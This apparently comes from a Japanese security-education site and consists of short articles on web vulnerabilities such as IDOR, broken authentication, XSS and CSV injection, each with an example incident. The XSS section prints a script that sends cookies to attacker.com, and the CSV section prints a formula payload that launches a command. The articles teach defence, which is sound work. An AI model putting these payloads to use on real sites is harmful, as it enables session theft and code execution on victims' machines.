Insecure Direct Object Reference(IDOR)とは?

認証・認可の脆弱性

Insecure Direct Object Reference(IDOR)とは?

Insecure Direct Object Reference(IDOR)は、アクセス制御が適切に実装されていないために、 ユーザーが本来アクセスするべきでないリソース(ファイル、データ、ユーザー情報など)に直接アクセスできてしまう脆弱性です。 IDORは、URLやAPIリクエストに含まれるIDなどを手動で変更することで悪用されることが多く、 セッション管理や認可制御が不十分なアプリケーションにとって重大なセキュリティリスクとなります。 実際のデータ漏洩事例 2020年、某航空会社の予約管理システムにおいてIDOR脆弱性が報告されました。 攻撃者は、予約IDを連番で変更するだけで他人の搭乗情報やパスポート番号にアクセスでき、 数十万件の個人情報が閲覧可能な状態となっていました。 この事件は、大規模なデータ漏洩として報道され、企業の信頼性に大きなダメージを与えました。 攻撃者による悪用方法 IDORは、次のような単純なリクエスト改変で悪用されます: GET /user/profile?id=1001 これを攻撃者が以下のように変更します: GET /user/profile?id=1002 サーバー側で認可チェックがなければ、攻撃者は他人の情報を自由に閲覧・編集できるようになります。

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認証・認可の脆弱性

Broken Access Control(アクセス制御の欠陥)とは?

Broken Access Control(アクセス制御の欠陥)は、ユーザーが本来アクセスできないはずの情報や機能にアクセスできてしまうセキュリティ脆弱性のことです。 適切な権限検証が行われていない場合、攻撃者は他人のアカウント情報を取得したり、管理者権限を不正に利用することが可能になります。 実際のデータ漏洩事例 2021年、Facebookの内部ツールに対してアクセス制御の不備が発覚し、攻撃者がユーザーアカウントの詳細情報にアクセスできる状態となっていました。 この問題は迅速に対応されましたが、アクセス制御の重要性を浮き彫りにしました。 攻撃者による悪用方法 攻撃者はURLやAPIのエンドポイントに細工を加えることで、他人のリソースへアクセスを試みます。 また、フロントエンド側での表示制御だけに頼り、サーバー側での認可チェックがされていない場合、 攻撃者は容易に管理者ページや機密情報にアクセス可能です。 なぜ危険なのか? アクセス制御の欠陥は、組織の内部情報、ユーザーデータ、設定ファイル、ログ情報などが 外部の不正ユーザーに漏洩するリスクを高めます。特に管理者権限への昇格が可能になると、 全システムの操作やデータ改ざんまで引き起こす可能性があり、重大な情報漏洩やセキュリティ事故へと繋がります。 脆弱なコードの例 // URLでユーザーIDを指定してアクセス GET /user/profile/123

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認証・認可の脆弱性

Broken Authentication(認証の欠陥)とは?

Broken Authentication(認証の欠陥)とは? Broken Authentication(認証の欠陥)は、ユーザー認証機能における脆弱性であり、 攻撃者がログイン認証を突破して不正にアカウントへアクセスできるリスクを指します。 この問題は、セッション管理の不備やパスワードポリシーの不適切な運用、 多要素認証の未実装などによって引き起こされます。 実際のデータ漏洩事例 2018年、ホテルチェーン「Marriott」は、Broken Authenticationの影響により約5億件の顧客情報が流出。 攻撃者は従業員の認証情報を悪用し、パスポート番号、連絡先、クレジットカード情報などを盗みました。 この事件は、サイバーセキュリティの重要性を再認識させる象徴的なインシデントとなりました。 攻撃者による悪用方法 攻撃者は以下の手段でBroken Authenticationを悪用します: ブルートフォース攻撃(自動化されたログイン試行) クレデンシャルスタッフィング(流出したIDとパスワードの再利用) セッション固定攻撃(予測可能なセッションIDを利用) ログインページの脆弱性を突くフィッシング なぜ危険なのか?

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インジェクションの脆弱性

SQLインジェクションとは?

SQLインジェクション(SQL Injection)は、サイバーセキュリティの世界で最も有名で危険な脆弱性の一つです。攻撃者はこの手法を使って、不正にデータベースへアクセスし、個人情報漏洩、ログインバイパス、機密情報の改ざんや削除を行うことが可能です。

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Web Shell攻撃の脅威とは?

「WSO Shell 2023」「Tiny File Manager」「ASPXSpy」などのWeb Shell(ウェブシェル)は、サーバー上に設置されることで、遠隔操作、ファイル改ざん、データ窃取を可能にする強力な攻撃ツールです。これらは見た目上は単なるファイル管理画面のように見えますが、実際には完全なリモートアクセスとコマンド実行が可能なマルウェアです。Web Shellとは、不正アクセス後に設置されるバックドア型スクリプトであり、通常のWebページに偽装されて運用担当者に気づかれずに長期間放置されることもあります。

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メールフラッディング攻撃

📧 Email Flooding Attack(メールフラッディング攻撃)とは? Email Flooding Attack(メールフラッディング攻撃)は、特定のメールアドレスに対して大量のメールを送りつけることで、業務妨害やセキュリティ対策の無力化を狙うサイバー攻撃の一種です。近年、ログイン通知やパスワードリセット機能を悪用した高度な攻撃事例も増加しており、企業にとって深刻な脅威となっています。 Email Floodingは「DDoSのメール版」とも言われ、対象者の受信箱を溢れさせて重要なメールを見逃させることが目的です。 💥 実際に企業で起きたメールフラッディングの事例 ある企業の従業員が、社内ポータルサイトでログインを試みようとした際、1時間以内に1万通を超える通知メールが届くという事件が発生しました。攻撃者はパスワードリセットフォームをボットで大量に送信し、メールボックスを埋め尽くしました。 この間、セキュリティ警告メールが埋もれてしまい、社内アカウントへの不正アクセスに気づけなかったため、重要な情報が漏洩し、後に深刻なサイバーセキュリティ・インシデントとして報告されました。 🔓 攻撃者はどのようにこの脆弱性を利用するのか? Email Flooding Attackを実現する方法は単純です。多くの場合、次のような攻撃経路が使われます。 パスワードリセットフォームを何度も送信してメールを送らせる 「問い合わせフォーム」や「お知らせ登録」機能を繰り返し利用する

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ユーザー列挙(User Enumeration)とは?

🕵️‍♂️ ユーザー列挙(User Enumeration)とは? ユーザー列挙(User Enumeration)は、攻撃者がWebアプリケーションやログイン画面から有効なユーザー名やメールアドレスの存在を確認できてしまう脆弱性です。この脆弱性があると、辞書攻撃やブルートフォース攻撃の成功率が大幅に上がり、結果的に不正アクセスやデータ漏洩のリスクが高まります。 User Enumerationは、ログイン画面やパスワードリセット画面での微妙なレスポンスの違いから発生します。たとえば「このメールアドレスは存在しません」といったエラーメッセージがあると、それだけで情報が漏れていることになります。 📦 実際に企業で発生したUser Enumerationの事例 あるSaaS企業のログイン画面では、ユーザー名が存在しない場合「ユーザーが存在しません」と表示され、存在する場合は「パスワードが違います」と返す仕様になっていました。攻撃者はこの挙動を利用して、社内メールアドレスのリストを入力し、どのアドレスが有効かを特定していきました。 その後、有効なユーザー名に対してブルートフォース攻撃を実施し、数件の社内アカウントへの不正ログインに成功。それがきっかけで、内部CRMデータが漏洩し、重大なサイバーセキュリティインシデントに繋がったのです。 💣 ユーザー列挙はどうやって悪用されるのか? 攻撃者は、主に以下の2つの方法でユーザー列挙を試みます。 ログインフォーム:入力内容に対して異なるエラー文言を返す場合 パスワードリセット機能:メール送信の有無などでユーザーの存在を推定 例えば、以下のようなリクエストを繰り返すことで攻撃が可能です: POST /login

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CSRF

クロスサイトスクリプティング(XSS)脆弱性とは

⚠️ クロスサイトスクリプティング(XSS)脆弱性とは? クロスサイトスクリプティング(XSS)は、ユーザーの入力をWebページ上で正しく処理せずに表示することで、悪意あるスクリプトが実行されるサイバー攻撃手法です。Stored(保存型)XSSとReflected(反射型)XSSの2つの主要タイプがあり、どちらも企業にとって重大なセキュリティリスクとなります。 XSSは、セッションの乗っ取り、フィッシング、クレデンシャル窃取などに利用されることがあり、特にログイン認証関連の脆弱性に直結する危険性があります。 🔍 実際に企業で起きたXSSによる情報漏洩のシナリオ あるWebアプリケーションでは、ユーザーがプロフィールを自由に編集できる機能がありました。しかし、プロフィール欄にJavaScriptを含むスクリプトが入力されても、無加工で表示されていたため、攻撃者が次のようなコードを挿入しました。 <script>document.location=’https://attacker.com/steal?cookie=’+document.cookie;</script> この結果、管理者がそのプロフィールを表示した瞬間に、認証クッキーが攻撃者に送信され、管理者セッションが乗っ取られるという深刻なインシデントに繋がりました。これにより、内部データベースの機密情報が流出し、大規模なデータ漏洩が発生しました。 💣 XSS脆弱性を攻撃者はどう悪用するか? XSS攻撃の実装は比較的容易であり、特別なツールや権限を必要としません。攻撃者は、以下のような手順でWebサイトを狙います。 対象サイトのフォームやURLパラメータに、悪意のあるJavaScriptコードを挿入 入力が正しくサニタイズされていない場合、スクリプトがそのまま表示・実行される ユーザーのセッションIDや認証トークンが盗まれる フィッシングページへの自動リダイレクトなども可能 Reflected XSSの場合、URLにコードを埋め込むだけで攻撃が成立します: https://example.com/search?q=<script>alert(‘XSS’)</script> ユーザーがこのリンクをクリックすると、即座にスクリプトが実行されるため、メールやSNSでの拡散型攻撃にも使用されやすいです。

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インジェクションの脆弱性

CSVインジェクションとは?

⚠️ CSVインジェクションとは? ~見落とされがちなセキュリティ脆弱性~ 企業の情報セキュリティ対策において、「CSVインジェクション」は意外と見落とされがちな脆弱性の一つです。しかし、この脆弱性が悪用されると、深刻なデータ漏洩や、ログインセッションの乗っ取り、フィッシング攻撃など、様々なリスクが発生します。この記事では、CSVインジェクションの概要とその危険性、実際の攻撃手法、企業が取るべき対策について詳しく解説します。 CSV Injection(CSVインジェクション)とは、CSVファイルに悪意のあるExcel関数やマクロを埋め込むことで、ユーザーの環境で意図しない操作を実行させる攻撃手法です。 🔍 実際に企業で起きうるCSVインジェクションのシナリオ たとえば、ある企業がユーザーの申請データをWebアプリケーションからCSVとしてエクスポートする機能を持っていたとします。もし入力バリデーションが不十分で、以下のような値が保存されていた場合: “=CMD|’ /C calc’!A0” このCSVを従業員がExcelで開くと、関数として自動的に実行される可能性があります。マルウェアの実行、認証情報の窃取、内部ネットワークの侵入の足がかりになるなど、大規模なデータ侵害(Data Breach)へと発展するリスクがあります。 💣 攻撃者によるCSVインジェクションの手口 攻撃者は、Excelが関数として処理する記号(例:=, +, -, @)を先頭に置いた値を、アプリケーションのフォームに入力します。たとえば、以下のような値です:

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同時ログインセッション

同時ログインセッション(Concurrent Login Sessions)によるセキュリティ脆弱性とは? 現代のWebアプリケーションにおいて、ユーザーの利便性を高めるために「複数端末からの同時ログイン」が許可されているケースが多く見受けられます。しかし、この便利な機能が思わぬ落とし穴となり、重大な セキュリティ脆弱性 を生むことがあります。 セキュリティ脅威の本質:「同じアカウントが複数の場所から同時にアクセス可能」である場合、悪意ある第三者が密かにセッションを奪取し、気づかれないまま内部データへアクセスできてしまう。

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